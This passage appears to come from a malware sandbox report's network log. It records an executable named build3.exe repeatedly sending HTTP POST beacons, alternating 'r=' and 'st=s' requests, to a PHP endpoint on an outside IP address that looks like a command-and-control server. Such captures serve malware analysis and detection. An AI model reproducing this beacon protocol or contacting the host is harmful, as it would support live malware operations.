Dec 20, 2023 15:37:19.589595079 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:19.883338928 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49939	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:20.304394960 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:20.620007038 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49940	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:20.999705076 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:21.304619074 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49942	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:21.827965021 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:22.156724930 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49943	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:22.448132992 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:22.738332033 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49945	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:23.141395092 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:23.438944101 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49946	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:23.748681068 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:24.053472042 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49947	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:24.469379902 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:24.778772116 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49948	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:25.084515095 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:25.387167931 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49950	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:25.802910089 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:26.095310926 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:26.097912073 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:26.392707109 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49951	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:26.794214964 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:27.094124079 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49952	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:27.389556885 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:27.687446117 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49953	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:28.094142914 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:28.414144039 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49955	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:28.711430073 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:29.019800901 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49956	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:29.425645113 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:29.734797001 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49957	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:30.027527094 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:30.318948984 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49958	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:30.728302956 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:31.019877911 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49960	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:31.328294992 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:31.640908003 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49961	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:32.183047056 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:32.472256899 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49962	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:32.775271893 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:33.069864988 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49963	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:33.486074924 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:33.784557104 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49964	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:34.091862917 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:34.400357008 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49965	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:34.809380054 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:35.103475094 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49966	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
